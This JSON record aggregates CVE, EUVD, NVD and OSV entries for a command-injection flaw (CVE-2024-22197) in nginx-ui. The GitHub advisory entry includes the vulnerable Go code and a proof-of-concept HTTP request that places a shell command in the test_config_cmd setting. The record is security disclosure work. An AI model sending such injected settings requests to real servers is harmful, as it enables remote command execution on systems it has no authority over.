{"id":"EUVD-2024-0396","revision":null,"records":[{"revision":"b65f371a986748ea908e6ce841182121","observedAt":"2026-10-23T15:48:27.903+00:00","statement":{"source":"cve-program","id":"CVE-2024-22197","aliases":[],"title":"Authenticated (user role) remote command execution by modifying `nginx` settings (GHSL-2023-269)","description":"Nginx-ui is online statistics for Server Indicators​​ Monitor CPU usage, memory usage, load average, and disk usage in real-time. The `Home > Preference` page exposes a small list of nginx settings such as `Nginx Access Log Path` and `Nginx Error Log Path`. However, the API also exposes `test_config_cmd`, `reload_cmd` and `restart_cmd`. While the UI doesn't allow users to modify any of these settings, it is possible to do so by sending a request to the API. This issue may lead to authenticated Remote Code Execution, Privilege Escalation, and Information Disclosure. This issue has been patched in version 2.0.0.beta.9.","state":0,"publishedAt":"2024-01-11T17:56:11.865+00:00","modifiedAt":"2025-06-17T21:09:16.574+00:00","affected":[{"ecosystem":"Vendor product","name":"nginx-ui","ranges":[],"versions":[],"rawVersionEvidence":"{\n                    \"vendor\": \"0xJacky\",\n                    \"product\": \"nginx-ui\",\n                    \"versions\": [\n                        {\n                            \"version\": \"< 2.0.0.beta.9\",\n                            \"status\": \"affected\"\n                        }\n                    ]\n                }"}],"metrics":[{"system":"CVSS 3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:L","score":7.7,"severity":"HIGH"}],"references":["https://github.com/0xJacky/nginx-ui/security/advisories/GHSA-pxmr-q2x3-9x9m","https://github.com/0xJacky/nginx-ui/commit/827e76c46e63c52114a62a899f61313039c754e3"],"sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2024-22197","license":"CVE Program Terms of Use","key":"cve-program:CVE-2024-22197","identifiers":["CVE-2024-22197"]},"retained":false,"historicalAffected":[]},{"revision":"9676822da90249baa0b273d8772532ff","observedAt":"2026-11-25T05:09:57.621+00:00","statement":{"source":"euvd","id":"EUVD-2024-0396","aliases":["CVE-2024-22197","GHSA-pxmr-q2x3-9x9m"],"title":"Nginx-ui is online statistics for Server Indicators​​ Monitor CPU usage, memory usage, load average, and disk usage in real-time. The `Home > Preference` page exposes a small list of nginx settings such as `Nginx Access Log Path` and `Nginx…","description":"Nginx-ui is online statistics for Server Indicators​​ Monitor CPU usage, memory usage, load average, and disk usage in real-time. The `Home > Preference` page exposes a small list of nginx settings such as `Nginx Access Log Path` and `Nginx Error Log Path`. However, the API also exposes `test_config_cmd`, `reload_cmd` and `restart_cmd`. While the UI doesn't allow users to modify any of these settings, it is possible to do so by sending a request to the API. This issue may lead to authenticated Remote Code Execution, Privilege Escalation, and Information Disclosure. This issue has been patched in version 2.0.0.beta.9.","state":0,"publishedAt":null,"modifiedAt":null,"affected":[],"metrics":[{"system":"EUVD CVSS 3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:L","score":7.7,"severity":null}],"references":["https://github.com/0xJacky/nginx-ui/security/advisories/GHSA-pxmr-q2x3-9x9m","https://github.com/0xJacky/nginx-ui/commit/827e76c46e63c52114a62a899f61313039c754e3"],"sourceUrl":"https://euvd.enisa.europa.eu/vulnerability/EUVD-2024-0396","license":"ENISA EUVD · source terms and attribution apply","enrichment":{"sourceStatus":null,"weaknesses":[],"productCriteria":[],"sourceDates":{"datePublished":"Jan 11, 2024, 5:56:11 PM","dateUpdated":"Jun 17, 2025, 9:09:16 PM"},"relatedAdvisories":[],"note":"EUVD source date text has no stated timezone and is retained without inventing a UTC instant. Related bulletin membership is not an alias, common cause or applicability claim. A missing vector with a zero score is treated as unrated. Complete vendor/product and underlying source evidence remains in the original JSON."},"key":"euvd:EUVD-2024-0396","identifiers":["EUVD-2024-0396","CVE-2024-22197","GHSA-pxmr-q2x3-9x9m"]},"retained":false,"historicalAffected":[]},{"revision":"0935bf1580464ff5ba0daa895fcb3106","observedAt":"2026-10-24T23:17:22.571+00:00","statement":{"source":"nvd","id":"CVE-2024-22197","aliases":[],"title":"Nginx-ui is online statistics for Server Indicators​​ Monitor CPU usage, memory usage, load average, and disk usage in real-time. The `Home > Preference` page exposes a small list of nginx settings such as `Nginx Access Log Path` and `Nginx…","description":"Nginx-ui is online statistics for Server Indicators​​ Monitor CPU usage, memory usage, load average, and disk usage in real-time. The `Home > Preference` page exposes a small list of nginx settings such as `Nginx Access Log Path` and `Nginx Error Log Path`. However, the API also exposes `test_config_cmd`, `reload_cmd` and `restart_cmd`. While the UI doesn't allow users to modify any of these settings, it is possible to do so by sending a request to the API. This issue may lead to authenticated Remote Code Execution, Privilege Escalation, and Information Disclosure. This issue has been patched in version 2.0.0.beta.9.","state":0,"publishedAt":"2024-01-11T18:15:45.14+00:00","modifiedAt":"2026-06-17T07:10:55.19+00:00","affected":[],"metrics":[{"system":"CVSS 3.1 · security-advisories@github.com · Secondary","vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:L","score":7.7,"severity":"HIGH"},{"system":"CVSS 3.1 · nvd@nist.gov · Primary","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","score":8.8,"severity":"HIGH"}],"references":["https://github.com/0xJacky/nginx-ui/commit/827e76c46e63c52114a62a899f61313039c754e3","https://github.com/0xJacky/nginx-ui/security/advisories/GHSA-pxmr-q2x3-9x9m"],"sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2024-22197","license":"NIST NVD usage terms; underlying source attribution retained","enrichment":{"sourceStatus":"Modified","weaknesses":["CWE-77"],"productCriteria":["cpe:2.3:a:nginxui:nginx_ui:*:*:*:*:*:*:*:*","cpe:2.3:a:nginxui:nginx_ui:2.0.0:beta1:*:*:*:*:*:*","cpe:2.3:a:nginxui:nginx_ui:2.0.0:beta2:*:*:*:*:*:*","cpe:2.3:a:nginxui:nginx_ui:2.0.0:beta3:*:*:*:*:*:*","cpe:2.3:a:nginxui:nginx_ui:2.0.0:beta4:*:*:*:*:*:*","cpe:2.3:a:nginxui:nginx_ui:2.0.0:beta4_patch:*:*:*:*:*:*","cpe:2.3:a:nginxui:nginx_ui:2.0.0:beta5:*:*:*:*:*:*","cpe:2.3:a:nginxui:nginx_ui:2.0.0:beta5_patch:*:*:*:*:*:*","cpe:2.3:a:nginxui:nginx_ui:2.0.0:beta6:*:*:*:*:*:*","cpe:2.3:a:nginxui:nginx_ui:2.0.0:beta6_patch:*:*:*:*:*:*","cpe:2.3:a:nginxui:nginx_ui:2.0.0:beta6_patch2:*:*:*:*:*:*","cpe:2.3:a:nginxui:nginx_ui:2.0.0:beta7:*:*:*:*:*:*","cpe:2.3:a:nginxui:nginx_ui:2.0.0:beta8:*:*:*:*:*:*","cpe:2.3:a:nginxui:nginx_ui:2.0.0:beta8_patch:*:*:*:*:*:*"],"sourceDates":{"published":"2024-01-11T18:15:45.140","lastModified":"2026-06-17T07:10:55.190"},"relatedAdvisories":[],"note":"NVD analysis and CPE criteria are source context, not proof that a package or your environment is affected. Complete affected data, logical configurations and SSVC are retained in the original JSON."},"key":"nvd:CVE-2024-22197","identifiers":["CVE-2024-22197"]},"retained":false,"historicalAffected":[]},{"revision":"81447c6cc1c54211927200763414c8cc","observedAt":"2026-10-24T13:19:41.952+00:00","statement":{"source":"osv","id":"GHSA-pxmr-q2x3-9x9m","aliases":["CVE-2024-22197","GO-2024-2464"],"title":"Authenticated (user role) remote command execution by modifying `nginx` settings (GHSL-2023-269)","description":"### Summary\nThe `Home > Preference` page exposes a small list of nginx settings such as `Nginx Access Log Path` and `Nginx Error Log Path`. However, the API also exposes `test_config_cmd`, `reload_cmd` and `restart_cmd`. While the UI doesn't allow users to modify any of these settings, it is possible to do so by sending a request to the [API](https://github.com/0xJacky/nginx-ui/blob/04bf8ec487f06ab17a9fb7f34a28766e5f53885e/api/system/router.go#L13).\n```go\nfunc InitPrivateRouter(r *gin.RouterGroup) {\n    r.GET(\"settings\", GetSettings)\n    r.POST(\"settings\", SaveSettings)\n    ...\n}\n```\nThe [`SaveSettings`](https://github.com/0xJacky/nginx-ui/blob/04bf8ec487f06ab17a9fb7f34a28766e5f53885e/api/system/settings.go#L18) function is used to save the settings. It is protected by the [`authRequired`](https://github.com/0xJacky/nginx-ui/blob/04bf8ec487f06ab17a9fb7f34a28766e5f53885e/router/middleware.go#L45) middleware, which requires a valid JWT token or a `X-Node-Secret` which must equal the `Node Secret` configuration value. However, given the lack of authorization roles, any authenticated user can modify the settings.\nThe `SaveSettings` function is defined as follows:\n```go\nfunc SaveSettings(c *gin.Context) {\n    var json struct {\n        ...\n        Nginx  settings.Nginx  `json:\"nginx\"`\n        ...\n    }\n\n    ...\n\n    settings.NginxSettings = json.Nginx\n\n    ...\n\n    err := settings.Save()\n    ...\n}\n```\nThe `test_config_cmd` setting is stored as [`settings.NginxSettings.TestConfigCmd`](https://github.com/0xJacky/nginx-ui/blob/04bf8ec487f06ab17a9fb7f34a28766e5f53885e/settings/nginx.go#L8). When the application wants to test the nginx configuration, it uses the [`TestConf`](https://github.com/0xJacky/nginx-ui/blob/04bf8ec487f06ab17a9fb7f34a28766e5f53885e/internal/nginx/nginx.go#L26) function:\n```go\nfunc TestConf() (out string) {\n\tif settings.NginxSettings.TestConfigCmd != \"\" {\n\t\tout = execShell(settings.NginxSettings.TestConfigCmd)\n\n\t\treturn\n\t}\n\n\tout = execCommand(\"nginx\", \"-t\")\n\n\treturn\n}\n```\nThe [`execShell`](https://github.com/0xJacky/nginx-ui/blob/04bf8ec487f06ab17a9fb7f34a28766e5f53885e/internal/nginx/nginx.go#L8) function is defined as follows:\n```go\nfunc execShell(cmd string) (out string) {\n\tbytes, err := exec.Command(\"/bin/sh\", \"-c\", cmd).CombinedOutput()\n\tout = string(bytes)\n\tif err != nil {\n\t\tout += \" \" + err.Error()\n\t}\n\treturn\n}\n```\nWhere the `cmd` argument is user-controlled and is passed to `/bin/sh -c`.\nThis issue was found using CodeQL for Go: [Command built from user-controlled sources](https://codeql.github.com/codeql-query-help/go/go-command-injection/).\n\n#### Proof of Concept\n> Based on [this setup](https://github.com/0xJacky/nginx-ui/blob/04bf8ec487f06ab17a9fb7f34a28766e5f53885e/README.md?plain=1#L210) using `uozi/nginx-ui:v2.0.0-beta.7`.\n1. Login as a newly created user.\n2. Send the following request to modify the settings with `\"test_config_cmd\":\"touch /tmp/pwned\"`.\n```http\nPOST /api/settings HTTP/1.1\nHost: 127.0.0.1:8080\nContent-Length: 528\nAuthorization: <<JWT TOKEN>\nContent-Type: application/json\n\n{\"nginx\":{\"access_log_path\":\"\",\"error_log_path\":\"\",\"config_dir\":\"\",\"pid_path\":\"\",\"test_config_cmd\":\"touch /tmp/pwned\",\"reload_cmd\":\"\",\"restart_cmd\":\"\"},\"openai\":{\"base_url\":\"\",\"token\":\"\",\"proxy\":\"\",\"model\":\"\"},\"server\":{\"http_host\":\"0.0.0.0\",\"http_port\":\"9000\",\"run_mode\":\"debug\",\"jwt_secret\":\"foo\",\"node_secret\":\"foo\",\"http_challenge_port\":\"9180\",\"email\":\"foo\",\"database\":\"foo\",\"start_cmd\":\"\",\"ca_dir\":\"\",\"demo\":false,\"page_size\":10,\"github_proxy\":\"\"}}\n```\n3. Add a new site in `Home > Manage Sites > Add Site` with random data. The previously-modified `test_config_cmd` setting will be used [when the application tries to test the nginx configuration](https://github.com/0xJacky/nginx-ui/blob/04bf8ec487f06ab17a9fb7f34a28766e5f53885e/api/sites/domain.go#L256).\n4. Verify that `/tmp/pwned` exists.\n```\n$ docker exec -it $(docker ps -q) ls -al /tmp\n-rw-r--r-- 1 root root    0 Dec 14 21:10 pwned\n```\n\n### Impact\n\nThis issue may lead to authenticated Remote Code Execution, Privilege Escalation, and Information Disclosure.","state":0,"publishedAt":"2024-01-11T16:30:29+00:00","modifiedAt":"2026-07-06T19:15:08.1308527+00:00","affected":[{"ecosystem":"Go","name":"github.com/0xJacky/Nginx-UI","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"0"},{"kind":"fixed","version":"1.9.10-0.20231219184941-827e76c46e63"}]}],"versions":[],"rawVersionEvidence":null}],"metrics":[{"system":"CVSS_V3","vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:L","score":null,"severity":null},{"system":"Publisher rating","vector":null,"score":null,"severity":"HIGH"}],"references":["https://github.com/0xJacky/nginx-ui/security/advisories/GHSA-pxmr-q2x3-9x9m","https://nvd.nist.gov/vuln/detail/CVE-2024-22197","https://github.com/0xJacky/nginx-ui/commit/827e76c46e63c52114a62a899f61313039c754e3","https://github.com/0xJacky/nginx-ui","https://github.com/0xJacky/nginx-ui/blob/04bf8ec487f06ab17a9fb7f34a28766e5f53885e/api/system/router.go#L13","https://github.com/0xJacky/nginx-ui/blob/04bf8ec487f06ab17a9fb7f34a28766e5f53885e/api/system/settings.go#L18","https://github.com/0xJacky/nginx-ui/blob/04bf8ec487f06ab17a9fb7f34a28766e5f53885e/router/middleware.go#L45","https://pkg.go.dev/vuln/GO-2024-2464"],"sourceUrl":"https://github.com/advisories/GHSA-pxmr-q2x3-9x9m","license":"GitHub Advisory Database · CC-BY-4.0","key":"osv:GHSA-pxmr-q2x3-9x9m","identifiers":["GHSA-pxmr-q2x3-9x9m","CVE-2024-22197","GO-2024-2464"]},"retained":false,"historicalAffected":[]},{"revision":"d9c62d712c1448e894eb211dcb53528c","observedAt":"2026-10-24T13:19:41.952+00:00","statement":{"source":"osv","id":"GO-2024-2464","aliases":["CVE-2024-22197","GHSA-pxmr-q2x3-9x9m"],"title":"Remote command execution in github.com/0xJacky/Nginx-UI","description":"Remote command execution in github.com/0xJacky/Nginx-UI","state":0,"publishedAt":"2024-01-17T19:06:44+00:00","modifiedAt":"2024-05-20T16:03:47+00:00","affected":[{"ecosystem":"Go","name":"github.com/0xJacky/Nginx-UI","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"0"},{"kind":"fixed","version":"1.9.10-0.20231219184941-827e76c46e63"}]}],"versions":[],"rawVersionEvidence":null}],"metrics":[],"references":["https://github.com/0xJacky/nginx-ui/commit/827e76c46e63c52114a62a899f61313039c754e3","https://github.com/advisories/GHSA-pxmr-q2x3-9x9m"],"sourceUrl":"https://osv.dev/vulnerability/GO-2024-2464","license":"OSV · upstream source license applies","key":"osv:GO-2024-2464","identifiers":["GO-2024-2464","CVE-2024-22197","GHSA-pxmr-q2x3-9x9m"]},"retained":false,"historicalAffected":[]}],"coverage":[{"source":"cisa-kev:global","scope":"Complete CISA KEV catalog; all vendors. Missing entries do not establish absence of exploitation.","generation":"2026-11-26T18:19:45.5192966+00:00","complete":true,"records":1805,"lastAttemptAt":"2026-11-26T18:19:45.5192966+00:00","lastSuccessAt":"2026-11-26T18:19:45.8176546+00:00","error":null,"lastVerifiedAt":"2026-11-26T18:19:45.8176554+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"cve-program","scope":"Official CVE Program baseline and cumulative hourly delta; all vendors, published and rejected records","generation":"cve-6c06d3f6833d772c3de33e851d9e5d9e99615d8105cd679264137594221ef608-16649824cb5685fd2fa7e710d6fda691d7b1a30326607059379232e4ae91e6a1","complete":true,"records":432938,"lastAttemptAt":"2026-11-26T18:16:26.4500222+00:00","lastSuccessAt":"2026-11-26T18:16:26.3473332+00:00","error":null,"lastVerifiedAt":"2026-11-26T18:16:26.4500222+00:00","snapshotPublishedAt":"2026-11-26T17:28:53+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"euvd","scope":"Rolling EUVD lookups of CVE aliases in current public OSV archives; 500 identifiers per refresh, rechecked after 48 hours. Not a global EUVD catalog. Successful not-found lookups count as checked; they do not imply withdrawal or safety. No reader inventory is sent.","generation":"enrichment-34024d1d0aa343f9a11653df650f2330","complete":false,"records":13940,"lastAttemptAt":"2026-11-26T18:21:44.6641856+00:00","lastSuccessAt":"2026-11-26T18:21:44.659+00:00","error":"115 identifier lookups failed; latest failures include AccessDenied (HTTP 403). Other identifiers were checked independently.","lastVerifiedAt":"2026-11-26T18:21:44.659+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":13855,"expectedIdentifiers":13988,"failedIdentifiers":115},{"source":"first-epss:nuget","scope":"FIRST EPSS for explicit CVE aliases in the collected public NuGet archive. Not a global EPSS backfill.","generation":"2026-11-26T18:19:45.5192966+00:00","complete":true,"records":1131,"lastAttemptAt":"2026-11-26T18:19:45.5192966+00:00","lastSuccessAt":"2026-11-26T18:19:45.818368+00:00","error":null,"lastVerifiedAt":"2026-11-26T18:19:45.8183682+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"nvd","scope":"Rolling NVD lookups of CVE aliases in current public OSV archives; 500 identifiers per refresh, rechecked after 48 hours. Not a global NVD catalog. Successful not-found lookups count as checked; they do not imply withdrawal or safety. No reader inventory is sent.","generation":"enrichment-88cb876cf6dd489fab2ce6295359cee4","complete":false,"records":13952,"lastAttemptAt":"2026-11-26T18:20:12.5726233+00:00","lastSuccessAt":"2026-11-26T18:20:12.569+00:00","error":null,"lastVerifiedAt":"2026-11-26T18:20:12.569+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":13490,"expectedIdentifiers":13988,"failedIdentifiers":0},{"source":"osv:Go","scope":"Complete OSV Go ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"go-e56c3fe761407ec267ebd1a0c84aedc80ac3bdb205176e189d97dc2e8a05779b","complete":true,"records":10077,"lastAttemptAt":"2026-11-26T18:19:45.0762118+00:00","lastSuccessAt":"2026-11-26T11:17:21.3788523+00:00","error":null,"lastVerifiedAt":"2026-11-26T18:19:45.0762118+00:00","snapshotPublishedAt":"2026-11-26T11:03:10+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:NuGet","scope":"Complete OSV NuGet ecosystem archive, including GitHub Advisory Database records; NuGet version matching only","generation":"nuget-6ba2352decd0c95d34a1b50f642582aa34659ce946f552488f0a5cea4e0cc09a","complete":true,"records":2020,"lastAttemptAt":"2026-11-26T18:16:26.6124682+00:00","lastSuccessAt":"2026-11-20T15:46:15.4249619+00:00","error":null,"lastVerifiedAt":"2026-11-26T18:16:26.6124682+00:00","snapshotPublishedAt":"2026-11-20T14:48:20+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:crates.io","scope":"Complete OSV crates.io ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"crates.io-fffef56e2e70c77cb72f3bdafb9a1d8f09e5da49f03183f085255cda1efc5924","complete":true,"records":3223,"lastAttemptAt":"2026-11-26T18:19:45.4620256+00:00","lastSuccessAt":"2026-11-26T09:00:18.6655097+00:00","error":null,"lastVerifiedAt":"2026-11-26T18:19:45.4620256+00:00","snapshotPublishedAt":"2026-11-26T08:18:18+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:npm","scope":"Complete OSV npm ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"npm-fe40fe209174d1458c63ab2d652015cb334e7187bf3ddd751c1b09d25b9064d4","complete":true,"records":233162,"lastAttemptAt":"2026-11-26T18:19:44.9129718+00:00","lastSuccessAt":"2026-11-26T18:19:43.6480553+00:00","error":null,"lastVerifiedAt":"2026-11-26T18:19:44.9129718+00:00","snapshotPublishedAt":"2026-11-26T17:33:43+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null}]}